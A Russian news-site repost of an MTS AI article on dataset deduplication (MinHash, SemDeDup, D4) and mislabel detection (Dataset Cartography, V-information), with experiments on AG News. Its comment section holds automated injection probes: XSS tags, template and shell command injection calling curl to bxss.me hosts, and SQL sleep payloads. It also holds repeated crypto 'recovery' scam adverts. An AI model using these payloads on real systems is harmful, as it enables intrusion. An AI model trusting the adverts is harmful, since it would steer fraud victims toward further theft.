Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

Есть ли жизнь до fit/predict?

b0exwgfhvpasv3-luqkzkp1naoy.png

Всем привет! Меня зовут Даниил Карпов, я старший NLP-разработчик в MTS AI. В эпоху LLM и огромных датасетов, вмещающих в себя весь интернет, кажется, что качество самих данных ушло немного на второй план: чем больше данных/параметров, тем лучше. Однако экстенсивный рост рано или поздно упирается в ограничения, когда становится уже слишком дорого/невозможно его продолжать. Роль хороших данных не стоит недооценивать, грамотный отбор может помочь значительно ускорить и удешевить обучение с одной стороны, тогда как отбраковка откровенно плохой разметки поможет улучшить качество с другой. Здесь я расскажу о некоторых из таких методов, которые использовались в процессе подготовки данных.

1. Дедупликация данных

Любая работа с датасетами начинается с детекции неполных дубликатов (полные вполне легко убираются базовыми методами). Благодаря использованию методов дедупликации можно значительно проредить данные, которые дают околонулевой прирост информации для модели в процессе обучения. Фильтрация таких данных, особенно в условиях ограниченных ресурсов и времени, является важным этапом подготовки данных. Подобные методы могут использовать как базовый набор слов и n-граммы (например, MinHash или SimHash), так и эмбеддинги, полученные из предобученных энкодеров. В данном разделе рассмотрим несколько таких методов, которые кажутся интересными и могут заинтересовать читателя.

1.1 MinHash+LSH

Этот метод надежен как швейцарские часы и полезен в первичной чистке данных. В общем случае он строится по следующей схеме:

  1. Shingling: получение из текста символьных n-грамм.

  2. MinHashing: получение для документа сигнатур, используя хэш-функции.

  3. LSH: максимизация коллизий для распределения текстов по корзинам.

С первым пунктом, думаю, все предельно понятно, поэтому немного подробнее остановлюсь на следующих двух.

MinHash — алгоритм, который позволяет нам получить из разреженной матрицы сигнатуру каждого из текстов. Вы спросите, в чем же заключается минимальность? В наиболее простом случае алгоритм устроен следующим образом:

  1. Делаем one-hot encoding шинглов.

  2. Делаем перемешивание MinHash у каждого из текстов (векторов из п.1).

  3. Используем как хэш индекс строки, где впервые встретили 1 (вот и минимальность).

  4. Повторяем до посинения пункты 2-3 до достижения желаемой длины сигнатуры.

Таким образом, мы получаем для каждого из текстов его сигнатуру. Сравнение сигнатур текстов (поэлементно) будет эквивалентно их мере близости Жаккара, но считается быстрее. Однако это все равно недостаточно быстро. Поэтому подключается еще и LSH.

LSH (Locality-Sensitive Hashing) — алгоритм ANN (Approximate Nearest Neighbor), который позволяет находить ближайшие элементы. В реализации с MinHash он работает следующим образом:

  1. Делим сигнатуры на k векторов (k бэндов с вектором размера n).

  2. Получаем хэш для каждого из k векторов внутри бэнда.

  3. Сравниваем хэши, и если произошла коллизия хотя бы в одном из бэндов, тексты считаются кандидатами на дубликат.

Для демонстрации возьмем датасет Amazon Massive, его русскую часть. Датасет небольшой, тренировочная часть содержит 11,5 тыс. примеров, в нем гарантировано есть дубликаты и очень близкие друг к другу фразы. В реализации на Spark — MinHashLSH с количеством хэшей 20 и порогом минимального индекса Жаккара в 0.2, из 11,5 тыс. данных было убрано 827 записей или 7.2% данных. Стоит добавить, что в датасете среди них было 514 полных дубликатов. Посмотрим на некоторые примеры неполных дублей, которые обнаружил MinHashLSH:

Text 1

Text 2

удали все события календаря

удали все события из календаря

выключи свет в моей комнате

выключи свет в комнате

что в моём списке

что в моём в списке задач

поставь будильник на пять тридцать утра

поставь будильник на пять утра

удали следующее событие в календаре

удали событие в календаре

В целом этот метод и подобные ему легко реализовать, к тому же в качестве первичной очистки данных они дают хороший результат. Здесь, правда, нужно отдельно отметить, что в некоторых случаях это может быть буквально операция, противоположная аугментации, поэтому такой алгоритм полезен в первую очередь в действительно больших и сырых датасетах.

Также существуют другие реализации LSH и более современные методы ANN, но их оставим за скобками, так как далее для объяснения будет интересен именно MinHash LSH.

1.2 SemDeDup

Уже из названия становится понятно, что здесь сравнивается также и семантика примеров. Идея данного метода базируется на том, чтобы находить и удалять семантические дубликаты в несколько шагов. Сначала данные преобразуются в эмбеддинги и кластеризуются на n кластеров. После этого в каждом из кластеров считаются расстояния между точками и удаляются дубликаты, которые близки к другим точкам в кластере, но при этом являются самыми дальними от центроида кластера. Таким образом, получается убрать точки, несущие минимальное количество информации, и оставить наиболее отличающиеся примеры. В своей работе, авторы сравнивали на C4 датасете перплексию в зависимости от доли удаляемых объектов алгоритмом SemDeDup со случайным удалением и алгоритмом NearDup (зеленая точка).

Сравнение SemDeDup с другими методами
Сравнение SemDeDup с другими методами

1.3 SSL Prototypes

Данный алгоритм основан на идее, что прототипичные точки, то есть самые близкие к центроиду кластера, являются наименее информативными примерами, удаление которых не принесет серьезного ущерба качеству модели.

Авторы алгоритма, в своей работе, задавались целью отойти от power law в сторону exponential (прирост метрики относительно прироста новых данных/размера модели) и предложили свой self-supervised метод для отбора данных без серьезного ущерба качеству. Алгоритм заключается в следующем:

  1. Кластеризация эмбеддингов на n кластеров.

  2. Определение “прототипичности” точки косинусным расстоянием от ближайшего центроида.

  3. Удаление доли k наиболее прототипичных точек.

Алгоритм простой, но при этом, по результатам авторов, соответствует supervised методам и методам с меморизацией. Также n в целом не влияет на качество алгоритма и может отличаться в любую сторону от количества классов в данных.

Результаты на Image Net такие:

Результаты методов на Image Net
Результаты методов на Image Net

В зависимости от доли оставшихся данных (шкала x) по качеству (accuracy), SSL Prototypes показывает сопоставимые результаты с supervised методами.

1.4 D4

Этот метод сочетает в себе два предыдущих метода: SemDeDup и SSL Prototypes. При применении SSL Prototypes после MinHash остаются целые кластеры с шаблонным текстом или неинформативные семантически, и большое количество ценных кластеров тратится на дубликатные тексты, а не на связанные тематики, что снижает эффективность SSL Prototypes. Поэтому авторы данного подхода в своей статье предложили следующую схему:

  1. MinHashLSH от изначального датасета (авторы этот пункт явно не указывают, но пишут о том, что такую фильтрацию заранее провели) - получаем датасет D.

  2. SemDeDup на всем датасете D с долей R_{dedup} - получаем D'.

  3. Обновляем кластеризацию на D' .

  4. Применяем на SSL Prototypes на D' долей R_{proto} — получаем датасет D'', который составляет 1 - R_{dedup} * R_{proto} от D.

Авторы заякорили R_{dedup} = 0.75 и пробовали разные R_{proto}. Эксперименты они проводили, обучая на C4 на фиксированном количестве токенов.

Количество k кластеров в данной работе предлагают брать как \sqrt{n} количества примеров.

Результат превосходит бейзлайн за исключением web snapshots. Каждая точка — это обученная OPT модель на 40B токенах. Что касается web snapshots, авторы объясняют такой эффект тем, что примеры валидационного сета очень близки к тренировочному сету, что также ставит под вопрос их способность оценивать генерализацию модели.

Сравнение методов по accuracy и PPL
Сравнение методов по accuracy и PPL

Таким образом, D4 соединяет в себе первые три метода последовательно:

  1. MinHashLSH

  2. SemDeDup

  3. SSL Prototypes

В случае с D4 и его частями (SemDeDup, SSL Prototypes) эксперименты на небольших датасетах малопоказательны и чаще могут не отличаться от случайного выбора данных. Однако это абсолютно не говорит о их бесполезности: в случае большого количества сырых данных (например, C4), в моментах, где уже не справляются простые методы, D4 сможет сократить количество данных, при этом сохранив их разнообразие.

2. Поиск некачественных данных в датасете

Тогда как методы дедупликации можно использовать на любых текстовых данных, вне зависимости от задачи, следующие методы подходят лишь для размеченных данных. Здесь мы обсудим способы обнаружения ошибочной разметки в датасете.

Решение такой задачи может происходить на различных этапах: на этапе проверки разметки или на этапе использования готового датасета. Мы остановимся на втором варианте, более универсальном, когда доступа к процессу разметки у нас нет, и рассмотрим несколько методов диагностики данных в процессе обучения модели.

В качестве препарируемого будем использовать датасет AG News. Датасет посвящен новостям, включает в себя 4 класса и 120к новостей. Датасет сбалансированный и, конечно, содержит в себе некачественные сэмплы.

2.1 Dataset Cartography

В своей статье авторы представили Data Maps, предназначенный для оценки и диагностики больших наборов данных в обработке естественного языка. Data Maps используют training dynamics для оценки и сравнения сэмплов.

Data Maps базируется на трех основных метриках:

  1. Увереность (Confidence)

    Здесь все просто, это вероятность true label, усредненная по эпохам

    \mu_i = \frac{1}{E}\sum_{e=1}^E{p_{{\theta}^{(e)}}(y^*_i \mid x_i)}

  2. Вариативность (Variability)

    Все также просто, только теперь смотрим на дисперсию вероятности

    \hat{\sigma}_i = \sqrt{\frac{\sum_{e=1}^{E} \left( p_{{\theta}^(e)}(y_i^* \mid x_i) - \hat{\mu}_i \right)^2}{E}}

  3. Корректность (Correctness)

    Просто доля верных предсказаний по сэмплу по эпохам.

На основе трех показателей можно построить Data Map. График строится по первым двум показателям, третий используется вспомогательно. Авторы предложили делить полученный график на три зоны/категории:

  1. easy-to-learn: примеры с высокой уверенностью модели и низкой вариативностью. Эти сэмплы легко обучаются моделью.

  2. ambiguous: примеры средней уверенности модели и высокой вариативностью. Модель не уверена в своем предсказании и часто изменяет его.

  3. hard-to-learn: примеры с низкой уверенностью и низкой вариативностью. Модель легко выучила класс данного сэмпла, правда он неверный :) В экспериментах авторов на нескольких датасетах большую часть из попавших в эту категорию точек составляли примеры с ошибкой в разметке. И казалось бы, вот тот золотой грааль: выкидываем hard-to-learn и радуемся жизни. Но, как всегда, все чуть сложнее: hard-to-learn примеры могут также и помогать в обучении. В экспериментах авторов модель, обученная на таких примерах лучше генерализирует OOD (out of domain), при отсутствии ухудшения на ID (in domain) сэмплах.

Плюсы:

  • Простота расчета.

  • Наглядность.

  • Локализация mislabeled примеров в одной категории.

Минусы:

  • Деление на категории требует субъективной оценки и дополнительного вмешательства.

  • Hard-to-learn содержит в себе не только mislabeled.

На тренировочной части AG News получаем такой Data Map:

DataMap (Correctness влияет на цвет точки)
DataMap (Correctness влияет на цвет точки)

На данном графике можно выделить все три зоны: easy-to-learn, где модель довольно просто предсказывает класс для высказывания, ambiguous, где она не уверена в предсказании и hard-to-learn, где модель настоятельно дает не совпадающий с разметкой класс.

Давайте посмотрим подробнее на примеры c cамыми низкими уверенностью и вариативностью:

text

label

confidence

variability

prediction per epoch

Mladin widens Superbike lead Braselton — Mat Mladin took the first step toward sewing up a fifth AMA Superbike title, fighting off a charging Miguel Duhamel to win Saturday #39;s round of the weekend Suzuki Superbike Challenge.

Sci/Tech

0.00010033

3.65651e-05

[‘Sports’, ‘Sports’, ‘Sports’, ‘Sports’, ‘Sports’]

BUZZ: New privacy concerns People who use public or workplace computers for e-mail, instant messaging and Web searching have a new privacy risk to worry about: Google #39;s free tool that indexes a PC #39;s contents for quickly locating data.

Sports

0.000138253

6.922e-05

[‘Sci/Tech’, ‘Sci/Tech’, ‘Sci/Tech’, ‘Sci/Tech’, ‘Sci/Tech’]

Typhoon Tokage Kills at Least 51 in Japan (AP) AP - Japan’s deadliest storm in more than a decade unleashed flash floods that washed away hillsides, killing up to 51 people before it veered east into the Pacific Ocean on Thursday. At least 30 people were missing.

Sports

0.000303618

0.000150405

[‘World’, ‘World’, ‘World’, ‘World’, ‘World’]

Auto Stocks Fall Despite Ford Outlook Despite a strong profit outlook from Ford Motor Co., shares of automotive stocks moved mostly lower Friday on concerns sales for the industry might not be as strong as previously expected.

Sports

0.000342434

0.000183199

[‘Business’, ‘Business’, ‘Business’, ‘Business’, ‘Business’]

Здесь хорошо видно, что указанные примеры имеют ошибочную разметку. По Data Map можно установить пороги, при которых можно исключить сомнительные части данных: confidence ≤ 0.2 и variability ≤ 0.2. Хотя существует соблазн просто их удалить, но в таком случае мы потеряем и хорошие примеры (не mislabeled), которые способствуют к генерализации модели.

2.2 Understanding Dataset Difficulty with V-Usable information

Своеобразным развитием темы dataset difficulty является следующий подход, который использует v-usable information - меру, оценивающую, насколько сложно модели V предсказать Y при условии X. Также предлагается использовать для оценки сложности сэмпла PVI — Pointwise V-information. Давайте рассмотрим эти концепции более подробно.

V-usable information (VI)

В работе авторы развивают тему в рамках информационной теории. При усложнении или шифровании данных X взаимная информация между X и меткой Y остается неизменной, однако сложность для модели V в получении информации значительно возрастает. Например, мы переведем русский текст на китайский. Взаимная информация для предсказания тональности текста остается такой же, однако предобученная модель на русском языке уже не сможет такие данные использовать, так как никогда не видела китайских иероглифов. Таким образом, данные X в незашифрованном виде остаются для модели V используемыми (V-usable), из чего вытекает понятие v-usable information, показывающее как легко модель V может предсказать Y при условии данных X. Формализуем эти мысли:

H_{\mathcal{V}}(Y) = \inf_{f \in \mathcal{V}} \mathbb{E}[-\log_2 f[{\varnothing}](Y)

В данном выражении мы получаем получаем прогнозируемую V-энтропию, при условии данных, в которых информация об Y отсутствует.

Соответственно при наличии данных, в которых есть информация об Y, получаем:

H_{\mathcal{V}}(Y \mid X) = \inf_{f \in \mathcal{V}} \mathbb{E}[-\log_2 f[X](Y)]

Собирая вместе, мы получаем V-usable information:

I_\mathcal{V}(X \rightarrow Y) = H_{\mathcal{V}}(Y) - H_{\mathcal{V}}(Y \mid X)

V-usable information дает возможность сравнивать как разные модели с фиксированным датасетом, так и разные датасеты (как полностью разные датасеты, так и разные X при фиксированных Y) с фиксированной моделью.

Такая метрика имеет ряд преимуществ перед классическими (accuracy, f1, etc), так как измеряется всегда в битах (если натуральный логарифм, то в nats), не зависит от баланса данных. V-information лежит в неотрицательной плоскости, 0 при независимости X и Y и монотонна.

Безусловно, такая метрика очень полезна, более чувствительна к переобучению, однако она предоставляет только агрегированную информацию по всему датасету. В связи с этим авторы вводят также поточечную V-информацию, аналогичную PMI (Pointwise Mutual Information).

Сравнение моделей по V-information
Сравнение моделей по V-information

Pointwise V-information

Здесь все по аналогии, имея модель, g, обученную на пустых данных и g’, обученную на X, мы можем получить поточечную V-информацию следующим образом:

\text{PVI}(x \to y) = -\log_2 g[\varnothing](y) + \log_2 g'[x](y) \quad

Больший PVI соответствует большей вероятности того, что пример был предсказан правильно. PVI может быть отрицательным, что аналогично PMI, и указывает на то, что модель скорее предсказывает доминирующий класс в выборке, чем учитывает данные X. Одной из причин такого поведения может быть ошибочная разметка. В то же время предсказание может оказаться верным, если, например, доминирующий класс совпадает с классом данного примера.

Отрицательное значение PVI просто указывает на то, что модель лучше предсказывает класс большинства, чем учитывает данные X. Это может быть обусловлено различными причинами.

В экспериментах авторы определили порог между правильно и неправильно размеченными данными приблизительно на уровне 0.5 бит.

PVI у корректных и mislabeled данных
PVI у корректных и mislabeled данных

Возможность оценивать PVI открывает двери не только для анализа полного датасета или отдельных примеров, но также для оценки любого возможного среза данных путем усреднения PVI между такими примерами.

Авторы даже провели сравнение средних значений PVI между группами в Dataset Cartography и обнаружили значительные различия, с наименьшими значениями в группе hard-to-learn.

PVI по группам Dataset Cartography
PVI по группам Dataset Cartography

Также авторы провели интересные эксперименты, изучая влияние отдельных токенов на PVI. Вместо модели, обученной на пустых данных, они использовали данные, очищенные от определенного токена. Это позволило получить следующие результаты (максимальное PVI в каждой группе):

Токены с максимальным PVI по каждой из групп
Токены с максимальным PVI по каждой из групп

Плюсы:

  • Простота расчета

  • Возможность локализировать mislabeled примеры

  • Возможность расчитывать PVI по примерам и различным срезам датасета

  • Возможность определять наиболее значимые для категории токены

Минусы:

  • Низкий PVI не всегда говорит о неправильности разметки

  • Необходимость обучения двух моделей: на данных X и на пустых данных

  • Необходимо подбирать threshold

Несколько примеров с наименьшим PVI в AG News:

text

label

v_info

pred

Mladin widens Superbike lead Braselton — Mat Mladin took the first step toward sewing up a fifth AMA Superbike title, fighting off a charging Miguel Duhamel to win Saturday #39;s round of the weekend Suzuki Superbike Challenge.

Sci/Tech

-11.2065

Sports

Mladin Release From Road Atlanta Australia #39;s Mat Mladin completed a winning double at the penultimate round of this year #39;s American AMA Chevrolet Superbike Championship after taking

Sci/Tech

-9.58801

Sports

Mladin notches seventh Superbike win AUSTRALIAN Mat Mladin claimed his seventh win of the season today in the opening race of the US Superbike Championship double-header in Georgia.

Sci/Tech

-13.6833

Sports

Kasthari makes himself known Digital technology has now replaced the old photo-finish cameras at Britain #39;s racecourses, but still there are times when even a computer cannot help.

Sports

-9.45561

Sci/Tech

2.3 Эксперименты

Посмотрим, как эти методы проявят себя на реальной задаче. Будем использовать следующую конфигурацию:

  1. V-information с порогом 0.5

  2. Dataset Cartography с порогами уверенности и вариативности, равными 0.1 (хотя возможно использовать более широкие диапазоны на основе DataMap, мы ограничимся меньшими значениями, чтобы минимизировать ложноположительные результаты)

Чтобы наиболее полно продемонстрировать работу данных методов и контролировать уровень шума в данных, мы проведем следующий пайплайн экспериментов:

  1. Удалим данные, которые не удовлетворяют указанным выше условиям по Dataset Cartography и V-info. Несмотря на возможную потерю полезных данных, это выровняет эксперимент и гарантирует, что исходно “плохие” данные не повлияют на результаты.

  2. Случайным образом заменим класс для 10% примеров на неверный (выбрав новый класс случайным образом из равномерного распределения, исключая текущий класс).

  3. Применим Dataset Cartography и V-usable information к такому датасету.

  4. Сравним работу модели на исходном датасете, зашумленном неочищенном методами датасете и датасетах после очистки методами.

После первого этапа у нас осталось 117 477 записей из 120 000. Из них 11 748 были зашумлены.

Оба метода неплохо справились с выявлением зашумленных нами данных. В нашем случае V-usable information имеет больше ложноположительных примеров, но при этом обнаружил больше шумных данных. Важно отметить, что эффективность методов сильно зависит от установленных порогов, и после визуального анализа DataMap для Dataset Cartography можно было бы настроить их лучше. Оба метода были применены без ручной корректировки порогов.

Method

Precision

Recall

F1

Dataset Cartography

0.938

0.867

0.901

V-usable information

0.887

0.901

0.894

Далее полученные датасеты используем для обучения ruBert-base с размером батча 16 на 22500 шагов и трех сидах (результаты усредняем по сидам). Несмотря на то что эксперименты с методами очистки использовали меньшее количество примеров для обучения, они показали чуть лучшие метрики.

Method

F1-macro (std)

N

Baseline w/o noise

0.912 (0.001)

117 477

DSC

0.906 (0.002)

106 624

V-info

0.907 (0.001)

105 551

V-info+DSC

0.909 (0.001)

104 982

Baseline 10% noise

0.903 (0.001)

117 477

Сравнение F1-macro по стэпам в зависимости от train датасета
Сравнение F1-macro по стэпам в зависимости от train датасета

В данном случае 10% шума оказалось не таким значимым, так как всего четыре класса и общее количество данных велико. Однако при большем количестве классов и меньшем объеме данных такой эффект будет более заметен.

Хочется отметить, что это лишь малая доля всех исследований и методов, которые могут помочь вам контролировать данные, выбирать наиболее полезные и экономить ресурсы на обучение моделей. Я рассмотрел лишь несколько из них, реализованных в одном из наших фреймворков. Надеюсь, скоро мы сможем подробнее рассказать о других методах этого фреймворка. Так что stay tuned с MTS AI.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

